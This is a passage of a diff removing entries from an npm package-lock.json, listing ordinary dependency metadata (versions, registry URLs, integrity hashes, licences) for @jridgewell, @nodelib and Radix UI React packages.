"https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@radix-ui/number": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.1.tgz", - "integrity": "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==", - "license": "MIT" - }, - "node_modules/@radix-ui/primitive": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", - "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", - "license": "MIT" - }, - "node_modules/@radix-ui/react-alert-dialog": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.15.tgz", - "integrity": "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dialog": "1.1.15", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-alert-dialog/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-arrow": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz", - "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collapsible": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz", - "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collection": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz", - "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-compose-refs": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", - "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-context": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz", - "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dialog": { - "version": "1.1.15", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.15.tgz", - "integrity": "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-controllable-state": "1.2.2", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dialog/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-direction": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz", - "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dismissable-layer": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz", - "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-escape-keydown": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-dropdown-menu": { - "version": "2.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.16.tgz", - "integrity": "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-menu": "2.1.16", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-focus-guards": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz", - "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-focus-scope": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz", - "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-id": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz", - "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-label": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.8.tgz", - "integrity": "sha512-FmXs37I6hSBVDlO4y764TNz1rLgKwjJMQ0EGte6F3Cb3f4bIuHB/iLa/8I9VKkmOy+gNHq8rql3j686ACVV21A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-label/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-menu": { - "version": "2.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz", - "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-roving-focus": "1.1.11", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "aria-hidden": "^1.2.4", - "react-remove-scroll": "^2.6.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-menu/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz", - "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==", - "license": "MIT", - "dependencies": { - "@floating-ui/react-dom": "^2.0.0", - "@radix-ui/react-arrow": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-layout-effect": "1.1.1", - "@radix-ui/react-use-rect": "1.1.1", - "@radix-ui/react-use-size": "1.1.1", - "@radix-ui/rect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-portal": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz", - "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-presence": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz", - "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive/node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.8.tgz", - "integrity": "sha512-+gISHcSPUJ7ktBy9RnTqbdKW78bcGke3t6taawyZ71pio1JewwGSJizycs7rLhGTvMJYCQB1DBK4KQsxs7U8dA==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-context": "1.1.3", - "@radix-ui/react-primitive": "2.1.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-context": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.3.tgz", - "integrity": "sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-primitive": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", - "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.4" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-roving-focus": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz", - "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==", - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-scroll-area": { - "version": "1.2.10", - "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.10.tgz", - "integrity": "sha512-tAXIa1g3sM5CGpVT0uIbUx/U3Gs5N8T52IICuCtObaos1S8fzsrPXG5WObkQN3S6NVl6wKgPhAIiBGbWnvc97A==", - "license": "MIT", - "dependencies": { - "@radix-ui/number": "1.1.1", - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-presence": "1.1.5", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-select": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.2.6.tgz", - "integrity": "sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/number": "1.1.1", - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-collection": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-direction": "1.1.1", - "@radix-ui/react-dismissable-layer": "1.1.11", - "@radix-ui/react-focus-guards": "1.1.3", - "@radix-ui/react-focus-scope": "1.1.7", - "@radix-ui/react-id": "1.1.1", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-portal": "1.1.9", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-slot": "1.2.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-controllable-state": 